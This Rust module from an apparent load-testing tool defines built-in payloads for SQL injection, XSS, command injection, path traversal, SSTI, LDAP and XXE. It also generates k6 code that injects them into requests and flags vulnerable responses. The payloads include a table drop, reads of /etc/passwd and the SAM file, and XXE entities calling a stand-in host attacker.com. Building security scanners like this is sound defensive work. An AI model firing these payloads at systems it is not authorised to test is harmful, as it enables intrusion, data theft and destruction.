//! Security testing payloads for load testing
//!
//! This module provides built-in security testing payloads for common
//! vulnerability categories including SQL injection, XSS, command injection,
//! and path traversal.

use crate::error::{BenchError, Result};
use serde::{Deserialize, Serialize};
use std::collections::HashSet;
use std::path::Path;

/// Security payload categories
#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Serialize, Deserialize)]
#[serde(rename_all = "kebab-case")]
pub enum SecurityCategory {
    /// SQL Injection payloads
    SqlInjection,
    /// Cross-Site Scripting (XSS) payloads
    Xss,
    /// Command Injection payloads
    CommandInjection,
    /// Path Traversal payloads
    PathTraversal,
    /// Server-Side Template Injection
    Ssti,
    /// LDAP Injection
    LdapInjection,
    /// XML External Entity (XXE)
    Xxe,
}

impl std::fmt::Display for SecurityCategory {
    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
        match self {
            Self::SqlInjection => write!(f, "sqli"),
            Self::Xss => write!(f, "xss"),
            Self::CommandInjection => write!(f, "command-injection"),
            Self::PathTraversal => write!(f, "path-traversal"),
            Self::Ssti => write!(f, "ssti"),
            Self::LdapInjection => write!(f, "ldap-injection"),
            Self::Xxe => write!(f, "xxe"),
        }
    }
}

impl std::str::FromStr for SecurityCategory {
    type Err = String;

    fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
        match s.to_lowercase().replace('_', "-").as_str() {
            "sqli" | "sql-injection" | "sqlinjection" => Ok(Self::SqlInjection),
            "xss" | "cross-site-scripting" => Ok(Self::Xss),
            "command-injection" | "commandinjection" | "cmd" => Ok(Self::CommandInjection),
            "path-traversal" | "pathtraversal" | "lfi" => Ok(Self::PathTraversal),
            "ssti" | "template-injection" => Ok(Self::Ssti),
            "ldap-injection" | "ldapinjection" | "ldap" => Ok(Self::LdapInjection),
            "xxe" | "xml-external-entity" => Ok(Self::Xxe),
            _ => Err(format!("Unknown security category: '{}'", s)),
        }
    }
}

/// A security testing payload
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct SecurityPayload {
    /// The payload string to inject
    pub payload: String,
    /// Category of the payload
    pub category: SecurityCategory,
    /// Description of what this payload tests
    pub description: String,
    /// Whether this is considered a high-risk payload
    pub high_risk: bool,
}

impl SecurityPayload {
    /// Create a new security payload
    pub fn new(payload: String, category: SecurityCategory, description: String) -> Self {
        Self {
            payload,
            category,
            description,
            high_risk: false,
        }
    }

    /// Mark as high risk
    pub fn high_risk(mut self) -> Self {
        self.high_risk = true;
        self
    }
}

/// Configuration for security testing
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct SecurityTestConfig {
    /// Whether security testing is enabled
    pub enabled: bool,
    /// Categories to test
    pub categories: HashSet<SecurityCategory>,
    /// Specific fields to target for injection
    pub target_fields: Vec<String>,
    /// Path to custom payloads file (extends built-in)
    pub custom_payloads_file: Option<String>,
    /// Whether to include high-risk payloads
    pub include_high_risk: bool,
}

impl Default for SecurityTestConfig {
    fn default() -> Self {
        let mut categories = HashSet::new();
        categories.insert(SecurityCategory::SqlInjection);
        categories.insert(SecurityCategory::Xss);

        Self {
            enabled: false,
            categories,
            target_fields: Vec::new(),
            custom_payloads_file: None,
            include_high_risk: false,
        }
    }
}

impl SecurityTestConfig {
    /// Enable security testing
    pub fn enable(mut self) -> Self {
        self.enabled = true;
        self
    }

    /// Set categories to test
    pub fn with_categories(mut self, categories: HashSet<SecurityCategory>) -> Self {
        self.categories = categories;
        self
    }

    /// Set target fields
    pub fn with_target_fields(mut self, fields: Vec<String>) -> Self {
        self.target_fields = fields;
        self
    }

    /// Set custom payloads file
    pub fn with_custom_payloads(mut self, path: String) -> Self {
        self.custom_payloads_file = Some(path);
        self
    }

    /// Enable high-risk payloads
    pub fn with_high_risk(mut self) -> Self {
        self.include_high_risk = true;
        self
    }

    /// Parse categories from a comma-separated string
    pub fn parse_categories(s: &str) -> std::result::Result<HashSet<SecurityCategory>, String> {
        if s.is_empty() {
            return Ok(HashSet::new());
        }

        s.split(',').map(|c| c.trim().parse::<SecurityCategory>()).collect()
    }
}

/// Built-in security payloads
pub struct SecurityPayloads;

impl SecurityPayloads {
    /// Get SQL injection payloads
    pub fn sql_injection() -> Vec<SecurityPayload> {
        vec![
            SecurityPayload::new(
                "' OR '1'='1".to_string(),
                SecurityCategory::SqlInjection,
                "Basic SQL injection tautology".to_string(),
            ),
            SecurityPayload::new(
                "' OR '1'='1' --".to_string(),
                SecurityCategory::SqlInjection,
                "SQL injection with comment".to_string(),
            ),
            SecurityPayload::new(
                "'; DROP TABLE users; --".to_string(),
                SecurityCategory::SqlInjection,
                "SQL injection table drop attempt".to_string(),
            )
            .high_risk(),
            SecurityPayload::new(
                "' UNION SELECT * FROM users --".to_string(),
                SecurityCategory::SqlInjection,
                "SQL injection union-based data extraction".to_string(),
            ),
            SecurityPayload::new(
                "1' AND '1'='1".to_string(),
                SecurityCategory::SqlInjection,
                "SQL injection boolean-based blind".to_string(),
            ),
            SecurityPayload::new(
                "1; WAITFOR DELAY '0:0:5' --".to_string(),
                SecurityCategory::SqlInjection,
                "SQL injection time-based blind (MSSQL)".to_string(),
            ),
            SecurityPayload::new(
                "1' AND SLEEP(5) --".to_string(),
                SecurityCategory::SqlInjection,
                "SQL injection time-based blind (MySQL)".to_string(),
            ),
        ]
    }

    /// Get XSS payloads
    pub fn xss() -> Vec<SecurityPayload> {
        vec![
            SecurityPayload::new(
                "<script>alert('XSS')</script>".to_string(),
                SecurityCategory::Xss,
                "Basic script tag XSS".to_string(),
            ),
            SecurityPayload::new(
                "<img src=x onerror=alert('XSS')>".to_string(),
                SecurityCategory::Xss,
                "Image tag XSS with onerror".to_string(),
            ),
            SecurityPayload::new(
                "<svg/onload=alert('XSS')>".to_string(),
                SecurityCategory::Xss,
                "SVG tag XSS with onload".to_string(),
            ),
            SecurityPayload::new(
                "javascript:alert('XSS')".to_string(),
                SecurityCategory::Xss,
                "JavaScript protocol XSS".to_string(),
            ),
            SecurityPayload::new(
                "<body onload=alert('XSS')>".to_string(),
                SecurityCategory::Xss,
                "Body tag XSS with onload".to_string(),
            ),
            SecurityPayload::new(
                "'><script>alert(String.fromCharCode(88,83,83))</script>".to_string(),
                SecurityCategory::Xss,
                "XSS with character encoding".to_string(),
            ),
            SecurityPayload::new(
                "<div style=\"background:url(javascript:alert('XSS'))\">".to_string(),
                SecurityCategory::Xss,
                "CSS-based XSS".to_string(),
            ),
        ]
    }

    /// Get command injection payloads
    pub fn command_injection() -> Vec<SecurityPayload> {
        vec![
            SecurityPayload::new(
                "; ls -la".to_string(),
                SecurityCategory::CommandInjection,
                "Unix command injection with semicolon".to_string(),
            ),
            SecurityPayload::new(
                "| cat /etc/passwd".to_string(),
                SecurityCategory::CommandInjection,
                "Unix command injection with pipe".to_string(),
            )
            .high_risk(),
            SecurityPayload::new(
                "$(cat /etc/passwd)".to_string(),
                SecurityCategory::CommandInjection,
                "Unix command substitution".to_string(),
            )
            .high_risk(),
            SecurityPayload::new(
                "`cat /etc/passwd`".to_string(),
                SecurityCategory::CommandInjection,
                "Unix backtick command execution".to_string(),
            )
            .high_risk(),
            SecurityPayload::new(
                "& dir".to_string(),
                SecurityCategory::CommandInjection,
                "Windows command injection".to_string(),
            ),
            SecurityPayload::new(
                "|| ping -c 3 127.0.0.1".to_string(),
                SecurityCategory::CommandInjection,
                "Command injection with OR".to_string(),
            ),
            SecurityPayload::new(
                "\n/bin/sh -c 'echo vulnerable'".to_string(),
                SecurityCategory::CommandInjection,
                "Newline-based command injection".to_string(),
            ),
        ]
    }

    /// Get path traversal payloads
    pub fn path_traversal() -> Vec<SecurityPayload> {
        vec![
            SecurityPayload::new(
                "../../../etc/passwd".to_string(),
                SecurityCategory::PathTraversal,
                "Basic path traversal".to_string(),
            ),
            SecurityPayload::new(
                "..%2F..%2F..%2Fetc%2Fpasswd".to_string(),
                SecurityCategory::PathTraversal,
                "URL-encoded path traversal".to_string(),
            ),
            SecurityPayload::new(
                "....//....//....//etc/passwd".to_string(),
                SecurityCategory::PathTraversal,
                "Double-dot path traversal bypass".to_string(),
            ),
            SecurityPayload::new(
                "..%252f..%252f..%252fetc%252fpasswd".to_string(),
                SecurityCategory::PathTraversal,
                "Double URL-encoded path traversal".to_string(),
            ),
            SecurityPayload::new(
                "/etc/passwd%00.jpg".to_string(),
                SecurityCategory::PathTraversal,
                "Null byte injection path traversal".to_string(),
            ),
            SecurityPayload::new(
                "....\\....\\....\\windows\\system32\\config\\sam".to_string(),
                SecurityCategory::PathTraversal,
                "Windows path traversal".to_string(),
            ),
        ]
    }

    /// Get SSTI payloads
    pub fn ssti() -> Vec<SecurityPayload> {
        vec![
            SecurityPayload::new(
                "{{7*7}}".to_string(),
                SecurityCategory::Ssti,
                "Jinja2/Twig SSTI detection".to_string(),
            ),
            SecurityPayload::new(
                "${7*7}".to_string(),
                SecurityCategory::Ssti,
                "Freemarker SSTI detection".to_string(),
            ),
            SecurityPayload::new(
                "<%= 7*7 %>".to_string(),
                SecurityCategory::Ssti,
                "ERB SSTI detection".to_string(),
            ),
            SecurityPayload::new(
                "#{7*7}".to_string(),
                SecurityCategory::Ssti,
                "Ruby SSTI detection".to_string(),
            ),
        ]
    }

    /// Get LDAP injection payloads
    pub fn ldap_injection() -> Vec<SecurityPayload> {
        vec![
            SecurityPayload::new(
                "*".to_string(),
                SecurityCategory::LdapInjection,
                "LDAP wildcard - match all".to_string(),
            ),
            SecurityPayload::new(
                "*)(&".to_string(),
                SecurityCategory::LdapInjection,
                "LDAP filter injection - close and inject".to_string(),
            ),
            SecurityPayload::new(
                "*)(uid=*))(|(uid=*".to_string(),
                SecurityCategory::LdapInjection,
                "LDAP OR injection to bypass auth".to_string(),
            ),
            SecurityPayload::new(
                "admin)(&)".to_string(),
                SecurityCategory::LdapInjection,
                "LDAP always true injection".to_string(),
            ),
            SecurityPayload::new(
                "x)(|(objectClass=*".to_string(),
                SecurityCategory::LdapInjection,
                "LDAP objectClass enumeration".to_string(),
            ),
            SecurityPayload::new(
                "*)(cn=*".to_string(),
                SecurityCategory::LdapInjection,
                "LDAP CN attribute injection".to_string(),
            ),
            SecurityPayload::new(
                "*)%00".to_string(),
                SecurityCategory::LdapInjection,
                "LDAP null byte injection".to_string(),
            ),
            SecurityPayload::new(
                "*))%00".to_string(),
                SecurityCategory::LdapInjection,
                "LDAP double close with null byte".to_string(),
            ),
        ]
    }

    /// Get XXE (XML External Entity) payloads
    pub fn xxe() -> Vec<SecurityPayload> {
        vec![
            SecurityPayload::new(
                r#"<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>"#.to_string(),
                SecurityCategory::Xxe,
                "Basic XXE - read /etc/passwd".to_string(),
            ).high_risk(),
            SecurityPayload::new(
                r#"<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]><foo>&xxe;</foo>"#.to_string(),
                SecurityCategory::Xxe,
                "Windows XXE - read win.ini".to_string(),
            ).high_risk(),
            SecurityPayload::new(
                r#"<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker.com/xxe">]><foo>&xxe;</foo>"#.to_string(),
                SecurityCategory::Xxe,
                "XXE SSRF - external request".to_string(),
            ).high_risk(),
            SecurityPayload::new(
                r#"<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/xxe.dtd">%xxe;]><foo>bar</foo>"#.to_string(),
                SecurityCategory::Xxe,
                "External DTD XXE".to_string(),
            ).high_risk(),
            SecurityPayload::new(
                r#"<?xml version="1.0"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "expect://id">]><foo>&xxe;</foo>"#.to_string(),
                SecurityCategory::Xxe,
                "PHP expect XXE - command execution".to_string(),
            ).high_risk(),
            SecurityPayload::new(
                r#"<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">]><foo>&xxe;</foo>"#.to_string(),
                SecurityCategory::Xxe,
                "PHP filter XXE - base64 encoded read".to_string(),
            ).high_risk(),
            SecurityPayload::new(
                r#"<!DOCTYPE foo [<!ENTITY % a "<!ENTITY &#37; b SYSTEM 'file:///etc/passwd'>">%a;%b;]>"#.to_string(),
                SecurityCategory::Xxe,
                "Parameter entity XXE".to_string(),
            ).high_risk(),
            SecurityPayload::new(
                r#"<?xml version="1.0"?><!DOCTYPE foo SYSTEM "http://attacker.com/xxe.dtd"><foo>&xxe;</foo>"#.to_string(),
                SecurityCategory::Xxe,
                "External DTD reference".to_string(),
            ).high_risk(),
        ]
    }

    /// Get all payloads for a specific category
    pub fn get_by_category(category: SecurityCategory) -> Vec<SecurityPayload> {
        match category {
            SecurityCategory::SqlInjection => Self::sql_injection(),
            SecurityCategory::Xss => Self::xss(),
            SecurityCategory::CommandInjection => Self::command_injection(),
            SecurityCategory::PathTraversal => Self::path_traversal(),
            SecurityCategory::Ssti => Self::ssti(),
            SecurityCategory::LdapInjection => Self::ldap_injection(),
            SecurityCategory::Xxe => Self::xxe(),
        }
    }

    /// Get all payloads for configured categories
    pub fn get_payloads(config: &SecurityTestConfig) -> Vec<SecurityPayload> {
        let mut payloads: Vec<SecurityPayload> =
            config.categories.iter().flat_map(|c| Self::get_by_category(*c)).collect();

        // Filter out high-risk if not included
        if !config.include_high_risk {
            payloads.retain(|p| !p.high_risk);
        }

        payloads
    }

    /// Load custom payloads from a file
    pub fn load_custom_payloads(path: &Path) -> Result<Vec<SecurityPayload>> {
        let content = std::fs::read_to_string(path)
            .map_err(|e| BenchError::Other(format!("Failed to read payloads file: {}", e)))?;

        serde_json::from_str(&content)
            .map_err(|e| BenchError::Other(format!("Failed to parse payloads file: {}", e)))
    }
}

/// Generates k6 JavaScript code for security testing
pub struct SecurityTestGenerator;

impl SecurityTestGenerator {
    /// Generate k6 code for security payload selection
    pub fn generate_payload_selection(payloads: &[SecurityPayload]) -> String {
        let mut code = String::new();

        code.push_str("// Security testing payloads\n");
        code.push_str("const securityPayloads = [\n");

        for payload in payloads {
            // Escape the payload for JavaScript
            let escaped = payload
                .payload
                .replace('\\', "\\\\")
                .replace('\'', "\\'")
                .replace('\n', "\\n")
                .replace('\r', "\\r");

            code.push_str(&format!(
                "  {{ payload: '{}', category: '{}', description: '{}' }},\n",
                escaped, payload.category, payload.description
            ));
        }

        code.push_str("];\n\n");
        code.push_str("// Select random security payload\n");
        code.push_str("const securityPayload = securityPayloads[Math.floor(Math.random() * securityPayloads.length)];\n");

        code
    }

    /// Generate k6 code for applying security payload to request
    pub fn generate_apply_payload(target_fields: &[String]) -> String {
        let mut code = String::new();

        code.push_str("// Apply security payload to request\n");
        code.push_str("function applySecurityPayload(payload, targetFields, secPayload) {\n");
        code.push_str("  const result = { ...payload };\n");
        code.push_str("  \n");

        if target_fields.is_empty() {
            code.push_str("  // No specific target fields - inject into first string field\n");
            code.push_str("  for (const key of Object.keys(result)) {\n");
            code.push_str("    if (typeof result[key] === 'string') {\n");
            code.push_str("      result[key] = secPayload.payload;\n");
            code.push_str("      break;\n");
            code.push_str("    }\n");
            code.push_str("  }\n");
        } else {
            code.push_str("  // Inject into specified target fields\n");
            code.push_str("  for (const field of targetFields) {\n");
            code.push_str("    if (result.hasOwnProperty(field)) {\n");
            code.push_str("      result[field] = secPayload.payload;\n");
            code.push_str("    }\n");
            code.push_str("  }\n");
        }

        code.push_str("  \n");
        code.push_str("  return result;\n");
        code.push_str("}\n");

        code
    }

    /// Generate k6 code for security test checks
    pub fn generate_security_checks() -> String {
        r#"// Security test response checks
function checkSecurityResponse(res, expectedVulnerable) {
  // Check for common vulnerability indicators
  const body = res.body || '';

  const vulnerabilityIndicators = [
    // SQL injection
    'SQL syntax',
    'mysql_fetch',
    'ORA-',
    'PostgreSQL',

    // Command injection
    'root:',
    '/bin/',
    'uid=',

    // Path traversal
    '[extensions]',
    'passwd',

    // XSS (reflected)
    '<script>alert',
    'onerror=',

    // Error disclosure
    'stack trace',
    'Exception',
    'Error in',
  ];

  const foundIndicator = vulnerabilityIndicators.some(ind =>
    body.toLowerCase().includes(ind.toLowerCase())
  );

  if (foundIndicator) {
    console.warn(`POTENTIAL VULNERABILITY: ${securityPayload.description}`);
    console.warn(`Category: ${securityPayload.category}`);
    console.warn(`Status: ${res.status}`);
  }

  return check(res, {
    'security test: no obvious vulnerability': () => !foundIndicator,
    'security test: proper error handling': (r) => r.status < 500,
  });
}
"#
        .to_string()
    }
}

#[cfg(test)]
mod tests {
    use super::*;
    use std::str::FromStr;

    #[test]
    fn test_security_category_display() {
        assert_eq!(SecurityCategory::SqlInjection.to_string(), "sqli");
        assert_eq!(SecurityCategory::Xss.to_string(), "xss");
        assert_eq!(SecurityCategory::CommandInjection.to_string(), "command-injection");
        assert_eq!(SecurityCategory::PathTraversal.to_string(), "path-traversal");
    }

    #[test]
    fn test_security_category_from_str() {
        assert_eq!(SecurityCategory::from_str("sqli").unwrap(), SecurityCategory::SqlInjection);
        assert_eq!(
            SecurityCategory::from_str("sql-injection").unwrap(),
            SecurityCategory::SqlInjection
        );
        assert_eq!(SecurityCategory::from_str("xss").unwrap(), SecurityCategory::Xss);
        assert_eq!(
            SecurityCategory::from_str("command-injection").unwrap(),
            SecurityCategory::CommandInjection
        );
    }

    #[test]
    fn test_security_category_from_str_invalid() {
        assert!(SecurityCategory::from_str("invalid").is_err());
    }

    #[test]
    fn test_security_test_config_default() {
        let config = SecurityTestConfig::default();
        assert!(!config.enabled);
        assert!(config.categories.contains(&SecurityCategory::SqlInjection));
        assert!(config.categories.contains(&SecurityCategory::Xss));
        assert!(!config.include_high_risk);
    }

    #[test]
    fn test_security_test_config_builders() {
        let mut categories = HashSet::new();
        categories.insert(SecurityCategory::CommandInjection);

        let config = SecurityTestConfig::default()
            .enable()
            .with_categories(categories)
            .with_target_fields(vec!["name".to_string()])
            .with_high_risk();

        assert!(config.enabled);
        assert!(config.categories.contains(&SecurityCategory::CommandInjection));
        assert!(!config.categories.contains(&SecurityCategory::SqlInjection));
        assert_eq!(config.target_fields, vec!["name"]);
        assert!(config.include_high_risk);
    }

    #[test]
    fn test_parse_categories() {
        let categories = SecurityTestConfig::parse_categories("sqli,xss,path-traversal").unwrap();
        assert_eq!(categories.len(), 3);
        assert!(categories.contains(&SecurityCategory::SqlInjection));
        assert!(categories.contains(&SecurityCategory::Xss));
        assert!(categories.contains(&SecurityCategory::PathTraversal));
    }

    #[test]
    fn test_sql_injection_payloads() {
        let payloads = SecurityPayloads::sql_injection();
        assert!(!payloads.is_empty());
        assert!(payloads.iter().all(|p| p.category == SecurityCategory::SqlInjection));
        assert!(payloads.iter().any(|p| p.payload.contains("OR")));
    }

    #[test]
    fn test_xss_payloads() {
        let payloads = SecurityPayloads::xss();
        assert!(!payloads.is_empty());
        assert!(payloads.iter().all(|p| p.category == SecurityCategory::Xss));
        assert!(payloads.iter().any(|p| p.payload.contains("<script>")));
    }

    #[test]
    fn test_command_injection_payloads() {
        let payloads = SecurityPayloads::command_injection();
        assert!(!payloads.is_empty());
        assert!(payloads.iter().all(|p| p.category == SecurityCategory::CommandInjection));
    }

    #[test]
    fn test_path_traversal_payloads() {
        let payloads = SecurityPayloads::path_traversal();
        assert!(!payloads.is_empty());
        assert!(payloads.iter().all(|p| p.category == SecurityCategory::PathTraversal));
        assert!(payloads.iter().any(|p| p.payload.contains("..")));
    }

    #[test]
    fn test_get_payloads_filters_high_risk() {
        let config = SecurityTestConfig::default();
        let payloads = SecurityPayloads::get_payloads(&config);

        // Should not include high-risk payloads by default
        assert!(payloads.iter().all(|p| !p.high_risk));
    }

    #[test]
    fn test_get_payloads_includes_high_risk() {
        let config = SecurityTestConfig::default().with_high_risk();
        let payloads = SecurityPayloads::get_payloads(&config);

        // Should include some high-risk payloads
        assert!(payloads.iter().any(|p| p.high_risk));
    }

    #[test]
    fn test_generate_payload_selection() {
        let payloads = vec![SecurityPayload::new(
            "' OR '1'='1".to_string(),
            SecurityCategory::SqlInjection,
            "Basic SQLi".to_string(),
        )];

        let code = SecurityTestGenerator::generate_payload_selection(&payloads);
        assert!(code.contains("securityPayloads"));
        assert!(code.contains("OR"));
        assert!(code.contains("Math.random()"));
    }

    #[test]
    fn test_generate_apply_payload_no_targets() {
        let code = SecurityTestGenerator::generate_apply_payload(&[]);
        assert!(code.contains("applySecurityPayload"));
        assert!(code.contains("first string field"));
    }

    #[test]
    fn test_generate_apply_payload_with_targets() {
        let code = SecurityTestGenerator::generate_apply_payload(&["name".to_string()]);
        assert!(code.contains("applySecurityPayload"));
        assert!(code.contains("target fields"));
    }

    #[test]
    fn test_generate_security_checks() {
        let code = SecurityTestGenerator::generate_security_checks();
        assert!(code.contains("checkSecurityResponse"));
        assert!(code.contains("vulnerabilityIndicators"));
        assert!(code.contains("POTENTIAL VULNERABILITY"));
    }

    #[test]
    fn test_payload_escaping() {
        let payloads = vec![SecurityPayload::new(
            "'; DROP TABLE users; --".to_string(),
            SecurityCategory::SqlInjection,
            "Drop table".to_string(),
        )];

        let code = SecurityTestGenerator::generate_payload_selection(&payloads);
        // Single quotes should be escaped
        assert!(code.contains("\\'"));
    }
}
